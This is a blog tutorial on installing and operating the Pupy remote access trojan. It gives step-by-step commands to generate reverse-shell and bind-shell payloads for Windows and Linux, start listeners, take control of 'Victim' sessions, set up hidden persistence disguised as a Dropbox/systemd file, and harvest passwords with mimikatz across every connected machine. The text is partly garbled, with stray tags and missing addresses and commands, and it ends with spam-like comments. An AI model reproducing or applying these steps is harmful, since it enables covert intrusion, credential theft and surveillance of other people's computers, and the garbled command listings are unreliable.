pupy rat remote administration tool

pupy rat remote administration tool

Puppy Rat is an open source tool for cross-platform remote administration (Windows, Linux, OSX, Android are supported as “clients”) and subsequent exploits (after exploits). Mostly written in Python.

Simply put, this program, which can create backdoors for various systems, can perform actions to connect to remote systems, perform exploits to collect data, download and upload files, and access privileges. Enhance, screen capture, capture keystrokes, etc., as well as other similar tools, are also perfectly suited for legitimate remote administration of systems.

  • Potential Pupy Uses:
  • Safety studies
  • Education
  • Penetration Testing
  • System administration
  • Privacy projects focused on python, requiring minimal interaction with persistent storage (so as not to leave traces on the hard disk)
  • And other…

This is one of several articles about Pupy rat in which the installation is described step by step. The following articles will discuss the principles of the program, basic concepts, practical examples of use.

How to install Pupy rat in Kali Linux

The author of the program offers two installation options: directly to the system and using Docker.

This program has a bug (about it will be slightly lower) due to incompatibility with the latest version of one of the Python modules. This bug leads to the fact that Pupy rat, in fact, does not work in listening mode (it cannot accept connections). When using Docker, errors are not displayed on the screen and it is difficult to understand what the problem is. But much worse is that it is not clear how to fix the problem with the library in this container.

Therefore, I will consider two options for installation  directly into the system and using Docker but I recommend using the installation option directly into the system.

Installing Pupy on Kali Linux without Docker

Run the following commands:

sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw

Roll fix to fix the error:

sudo pip2 install rpyc==3.4.4

For start:

export PATH=$PATH:~/.local/bin; pupysh
Installing Pupy rat on Kali Linux

Installing Pupy on Kali Linux using Docker

To install and run Docker, run the following commands:

git clone https://github.com/alxchk/pupy
cd pupy

Open the install.sh file and replace the line there:

if [ "$EUID" == 0 ]


if [ "$EUID" == 100500 ]

Then run the commands:

sudo pip uninstall backports.ssl-match-hostname
sudo apt-get install python-backports.ssl-match-hostname

To run the program:


how to install Pupy on BlackArch

Installation in BlackArch is as follows:

sudo pacman -S pupy

To fix the bug, you need to remove the new version of one of the Python packages, so that the system does not remove Pupy rat itself, for which this file is a mandatory dependency:

sudo pacman -Rdd python2-rpyc

And install a version that does not cause problems:

sudo pip2 install rpyc==3.4.4

True, the files generated in BlackArch I refuse to connect to the monitoring computer …
Solving the problem with the “Cannot read wireshark manuf database” error When you run Pupy rat, see if the line is there:

Cannot read wireshark manuf database

If present, then there is a serious error. Details about this bug here: https://github.com/n1nj4sec/pupy/issues/622
The problem is that when the Victim’s computer tries to connect to the Attacker’s computer, the following error appears:

Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored
Exception in thread Authentication Thread (
Traceback (most recent call last):
  File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner
  File "/usr/lib/python2.7/threading.py", line 754, in run
    self.__target(*self.__args, **self.__kwargs)
  File "/usr/share/pupy/network/lib/servers.py", line 135, in _setup_connection
  File "/usr/share/pupy/network/lib/connection.py", line 269, in __init__
    Connection.__init__(self, *args, **kwargs)
TypeError: __init__() got an unexpected keyword argument '_lazy'
Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored

That is, the listening mode for the reverse shell in Pupy does not actually work.
The problem is solved by lowering the version of the rpyc package to 3.4.4 :

sudo pip2 install rpyc==3.4.4

How to use pupy rat

how to create a backdoor with Pupy rat

To generate a working payload, we need a clear understanding of how and what works, and before starting work you need to understand terms like:

  • transports
  • launchers
  • listeners
  • payloads

Transport is how (using what protocols and technologies) the server and the client transfer information between themselves.
The following options are available:

  • ssl (used by default): TCP transport wrapped in SSL.
  • rsa : Authentication and encryption using RSA and AES256, often combined with other protocols.
  • ssl_rsa : Like ssl , but embedded in the rsa layer.
  • websocket :
  • aes : Uses static key AES256.
  • http : Makes traffic look like regular HTTP + is embedded in the rsa layer .
  • obfs3 : A protocol that prevents third parties from determining which protocol is being used based on the content of the messages. For greater security, Obfs3 is embedded in the rsa layer .
  • scramblesuit : A polymorphic network protocol for circumventing censorship. Scramblesuit is folded with an RSA layer for better security.
  • udp : Rsa layer but via UDP (may be unstable, does not solve problems with packets lost during transmission).
  • others : Layers are of little interest and are given as code examples: (dummy, base64, XOR, …).

All transports can be wrappers for each other (stackable).

This means that by creating a custom transport configuration (pupy/network/transport/<transport_name>/conf.py), you can make your pupy rat session look anything you want. For example, you can add HTTP via HTTP via base64 via HTTP via AES via obfs3.

Launchers allow pupy to run custom actions before launching a reverse connection.

  • connect : A connection is being made from the remote computer to the attacker.
  • bind : The remote computer starts listening on the port while waiting for a connection to it.
  • auto_proxy : Get a list of possible SOCKS / HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY
  • dnscnc : DNS exfiltration

Launcher connect is commonly called the Reverse Shell. And bind is what is usually called simply Shell.

Listeners (listeners) – are used with connect connect , that is, with Reverse Shell, when you need to wait for a connection from a remote computer.

If bind is selected as the launcher , then we do not need a listener on our computer – we just need to connect to the remote system right away.

Listeners should get two parameters at startup:

  • port to which sub-wiring will be made
  • transport that uses payload

By default, the launcher tries to listen on port 443 using the ssl transport . This configuration can be changed in the pupy.conf file . How to add your own listeners will be described below.

Payload format
Pupy can create files for various operating systems: Windows, Linux, OSX, Android. Various processor architectures are supported (64-bit and 32-bit). When creating a payload, you need to specify this data in the parameters. This primarily refers to executable files — that is, for executable files, you need to specify, for example, that the backdoor should be running in the Windows operating system with a 64-bit processor architecture.

Pupy is able to create not only executable files, but also other formats, namely:

  • client : executable files to run on the target machine (.exe, .dll, .lin, .so).
  • py : python file.
  • pyinst : python file ready for use with pyinstaller.
  • py_oneliner : python oneliner (that is, executable code on one line) (starts the listening server in the background)
  • ps1 : powershell file.
  • ps1_oneliner : powershell oneliner (starts the listening server in the background).
  • rubber_ducky : useful with rubber ducky.

The payload can be generated in two ways: using a separate pupygen.py file , or by running Pupy and using the command in the console


You can choose any option – these methods have identical launch options. I will show you the example of working in the Pupy session, so I start by running this program.
Run Pupy
Starting a Pupy session varies depending on the installation method. When installed directly into the system, the session starts like this:

export PATH=$PATH:~/.local/bin; pupysh

When you first start generating keys and certificates that are used in the program to encrypt connections to remote systems:

Pupy rat session

They are saved to the /root/.config/pupy/crypto/credentials.py file . Gen options
As mentioned above, gen (and pupygen.py ) are used to generate the payload and they have the same options. Consider them.

gen [-h]
                 [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
                 [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
                 [-P PACKER] [-S] [-o OUTPUT]
                 [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
                 [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
                 [--oneliner-nothidden] [--debug-scriptlets] [--debug]
                 [--workdir WORKDIR]
                 [{bind,auto_proxy,dnscnc,connect}] ...


positional arguments:
  {bind, auto_proxy, dnscnc, connect}
                        Choice launcher. Loncher do payload
                        which, when started, behaves differently.
  launcher_args launcher options
optional arguments:
  -h, --help show help and exit
  -f {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp, .NET, .NET_oneliner}, --format {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp. NET_oneliner}
                        (default: client)
  -O {android, windows, linux, solaris}, --os {android, windows, linux, solaris}
                        Target OS (default: windows)
  -A {x86, x64}, --arch {x86, x64}
                        Target architecture (default: x86)
  -U, --uncompressed Use uncompressed pattern
  -P PACKER, --packer PACKER
                        Use packer when output format is 'client' (default:)
  -S, --shared Create a shared (shared) object
  -o OUTPUT, --output OUTPUT
                        output file name
  -d   , --delays-list  
  -D OUTPUT_DIR, --output-dir OUTPUT_DIR
                        output folder (default: /root/.config/pupy/output)
  -s SCRIPTLET, --scriptlet SCRIPTLET
                        offline python scripts to run before launch
                        connections. You can specify multiple scriptlets.
  -l, --list list available formats, transporters, scriptlets and
  -E, --prefer-external
                        In the case of auto-detect, prefer external IP
  --no-use-proxy Do not use the proxy target configuration, even if
                        it is used by the target (for now only for ps1_oneliner)
  --oneliner-nothidden Powershell script is not hidden by the target side (default:
  --debug-scriptlets do not catch exceptions in scriptlets on the client
                        for debugging purposes
  --debug to build with a debug pattern (payload opens
  --workdir WORKDIR Set working folder (Default = current working folder)

As you can see, some values ​​are set by default. If you run the command


without any options, the payload will be generated, it will take the following values ​​as default values:

  • payload format: client
  • launcher: connect (i.e. reverse shell to our machine)
  • as the IP address is taken automatically determined by our address
  • port for connection: 443
  • platform: windows / x86
  • Transportation: ssl

But we, of course, can reconfigure all these options with our parameters.
All options are discussed above, so it makes no sense to explain the commands in detail – if you find something incomprehensible to them, then return to their description.

Let’s start by creating a reverse shell – in this case, the remote computer (“Victim”) is connected to the “Attacker” computer. Therefore, when creating a payload, you need to specify the IP address to which the Victim should connect. For example, the IP addresses of their interfaces can be viewed with the command

ip a

I will do tests on the local network, the Attacker’s computer has a local address of – so I will use it, and you will replace it with your value. To create a reverse shell for the 64-bit Windows platform that will connect to port 43210 at the IP address using the http transport :

gen -f client -O windows -A x64 connect --host -t http

All is ready:

pupy rat tutorial

File successfully created and saved by the path /root/.config/pupy/output/pupyx64.KrN0Qe.exe
Rename and copy it to a closer path:

!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe

Since a connection to our computer will be made from a remote computer, before running the newly created file on the target system, we need to create a listener that will wait to connect to it.
By the way, when you start Pupy rat, one listener starts automatically, say this line:

[*] Listen: ssl: 443

That it, there is a listener for ssl transport on port 443 .
New listeners are created, deleted and shown with the listen command .

how to Create pupy rat listeners


listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT
              [TRANSPORT_ARG1 ...] | -r TRANSPORT]

Optional arguments:

-h, --help show help and exit
-l, --list show listeners
-L, --list-transports
                       show available transports
                       run the listener
                       start the listener (ignoring proxy)
                       stop listener

Since for my payload I chose the http transport , and indicated 43210 as the port , the listener in my case starts like this:

listen -a http 43210

The general view of the command is:



[+] Listen: http: 43210

Says that everything went well.
Let’s list all listeners:

listen -l
pupy rat listeners

Everything is ready – now I transfer the file with the payload to the target system and run it there.
A few seconds after the launch, the attacker’s computer will be connected to and the following information will appear:

[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('', 43210) <-"" code="">

We will move on to managing sessions, executing commands on a remote machine, and operating in the next section. In the meantime, consider a few more popular examples of payload generation.

Pupy rat Backdoor for Windows

To create a shell that will open port 54321 for 64-bit Windows and wait for a connection from the remote computer via the http transport, run the following command:

gen -f client -O windows -A x64 bind --port 54321 -t http

In this case, we do not specify an IP address, since this payload is not connected anywhere. But we specify the port – this port will be opened on the computer of the Victim, waiting for the Attacker to connect.
Backdoor connection To connect, use the connect command . Consider her options.

connect [-h] -c   </ font>
         [-t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}]

Connect options

positional arguments:  </ font>
  transport_args Transport Arguments: key = value key = value ...  </ font>
 </ font>
optional arguments:  </ font>
  -h, --help show help and exit  </ font>
  -c , --host   </ font>
                        host: the port of the pupy server to connect to. You can  </ font>
                        specify several arguments --host arguments for trying  </ font>
                        connections to multiple IPs  </ font>
  -t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}, --transport {obfs3, http, ssl, ecm, tccrs, http, ssl, ssl_rsa} udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}  </ font>
                        Used transport

As you can see, be sure to specify the IP and port connections. Transportation can be omitted.
By the way, in Windows, the IP address can be found with the command

ipconfig /all

To connect to port 54321 of the host

connect -c

Pupy Linux backdoor

For Linux, you can also create a reverse shell and a regular shell.
To create a reverse shell:

gen -f client -O linux -A x64 connect --host -t http

The listener runs exactly as shown above

listen -a http 44445

To create a backdoor that will wait for a connection from us:

gen -f client -O linux -A x64 bind --port 44446 -t http

To connect to it:

connect -c localhost:44446

How to remotely manage computers through backdoor

Work with connected sessionsThe sessions command performs tasks related to session management:

  • display a list of connected remote computers
  • selecting a session to send a command to a computer
  • disconnect from one or all computers at once


sessions [-h] [-i ] [-g] [-k] [-K] [-d] [-D]

Optional arguments:

-h, --help
-i , --interact
                       change default value --filter for other commands
-g, --global-reset reset --interact to standard global behavior
-k  Kill selected session
-K kill all sessions
-d  Reset connection (abruptly close the socket)
-D Reset all connections

By default, all the commands that you enter to run on remote systems (launching modules) pupy rat executes immediately on all connected clients. Thanks to this, you can, for example, run mimikatz on all connected clients with one command and collect passwords everywhere at once.
To display the list of sessions run the command:

pupy sessions

Pupy rat commands to run on a remote computer

In fact, this is not called commands, but modules, because, in fact, on remote computers you can execute any commands that support these systems.

As for the modules, they contain some frequently used commands, as well as combined actions, including using third-party tools (for example, to extract all passwords).
To run the command, you need to use the row that is in the ” Name ” column .For example, to display a list of disks on all systems, run the command:


To get help on a module, enter its name with the -h option. For example, I want to learn help for the persistence module (enabling and disabling pinning):

persistence -h


persistence [-h] [-s] [-p USEFUL LOAD] [-n NAME] [-m METHOD] [-l]

Optional arguments:

-h, --help show help and exit
-s, --shared to prefer shared objects (linux only)
-p PAYLOAD remote path or command to execute on login (windows only)
-n NAME specify a name to use (windows only)
-m METHOD must be an ID to get a list of available methods.
               run with option (-l) (windows only)
-l list all possible techniques for this host (windows only)
--remove remove pin

An example of creating a backdoor on a remote system that will start when the computer starts:

>>                                  PupyClient(id=2, user=mial, hostname=HackWare, platform=Linux)                                       <<
{ Configuration }
KEY            VALUE                             
launcher       connect                           
launcher_args  --host -t http 
cid            3263277090                        
[+] Required credentials (found)
[+] Generating the payload with the current config from pupyx64.lin - size=3713536
[+] Dropped: /home/mial/.dropbox-dist/dropboxc Method: Systemd Config: /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf
creating a backdoor

This entry means that the configuration file for autorun is saved along the path /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf , and the executable itself is stored in /home/mial/.dropbox-dist/ dropboxc

Some more examples.
To view information about network connections on remote systems:

pupy netstat

To retrieve all passwords:




Keystroke Invader:


Getting information about systems:


To get screenshots of desktops of remote computers:


Execution of commands only on certain remote systems
You can switch between sessions, for example, to switch to the first session so that the commands entered are executed only on it:

sessions -i 1

It is not necessary to specify the session number – various filters are supported, thanks to which you can select one or several systems at once. For example, to interact only with all Windows 7:

sessions -i 'platform:Windows release:7'

Filtering by various parameters is supported, you can see them all by running the command:


Use autocompletion! When entering commands, press the TAB key to complete the names of commands and options. Screen your arguments
Each command in the pupy shell uses unix-like escape syntax. If you need a space in one of your arguments, you need to put your argument between the quotes:

shell_exec 'tasklist /V'

If you send the path to Windows, you need to escape the backslash with one more – the second backslash, or put everything in quotes:

download 'C:\Windows\System32\cmd.exe'


download C:\\Windows\\System32\\cmd.exe

Create nicknames To improve performance, you can specify module aliases in the pupy.conf file . If you define an alias as follows:


then start the team


will be equivalent to running the command:


An example of creating a pseudonym for adding a command to kill a client process pupy rat with signal 9:

killme = pyexec -c 'import os;os.kill(os.getpid(),9)'

Works Jobs are teams running in the background. Some modules, such as socks5proxy or portfwd , automatically start work, but all modules can be started as work if you use the –bg argument :

run --bg shell_exec 'tasklist /V'
[%] job < shell_exec ['tasklist /V'] > started in background !


jobs [-h] [-k  | -K ] [-l] [-p ]

Optional arguments:

-h, --help show help and exit
-k , --kill
                       close the job, but before that show its current output
-K , --kill-no-output
                       close work without showing output
-l, --list list of jobs
-p , --print-output
                       print job output

The –bg switch is usually used when you want to execute a long command / module and you want the shell to remain functional during its operation.
The output of the work can be obtained at any time using the command

jobs -p

The jobs command can also display a list of jobs and complete jobs.
Normal jobs can be installed in your Linux / Unix desktop environment by running your pupysh.py script inside the Screen utility. You can then configure cronjobs to run the command at any intervals you require. Replace 1674 with your screen session ID. The echo command in this example essentially emulates pressing the Enter key:

screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')

Run command

This command is needed to run modules, but you can skip it if you are not going to use additional features, such as executing a command in the background, saving results to a file and / or only for certain clients.

run [-h] [-1] [-o OUTPUT] [-f ] [-b]  ...


positional arguments:
   module arguments
optional arguments:
  -h, --help show help and exit
  -1, --once Unload new depot after use
  -o OUTPUT, --output OUTPUT
                        save the command output to a file.% t is a timestamp,% h is a host,
                        % m - MAC address,% c - short client name,% M - module name,% p
                        - platform,% u - user,% a - IP address
  -f , --filter
                        perform on clients matching the filter. Everything
                        fields that can be filtered can be seen in the module
                         "info". For example: run get_info -f 'platform: win release: 7 os_arch: 64'
  -b, --background run in background

15 thoughts on “pupy rat remote administration tool

  1. Wow, incredible blog structure! How lengthy have you ever been blogging for? you make running a blog look easy. The overall look of your web site is magnificent, let alone the content!!

  2. I enjoy you because of your whole effort on this blog. My niece enjoys going through internet research and it is easy to see why. A number of us know all of the powerful way you deliver worthwhile ideas through your web site and therefore foster response from some other people on that subject then our own daughter is always being taught a whole lot. Have fun with the remaining portion of the new year. You’re the one performing a tremendous job. blog
    I always use url shortener
    It is very helpful.

Comments are closed.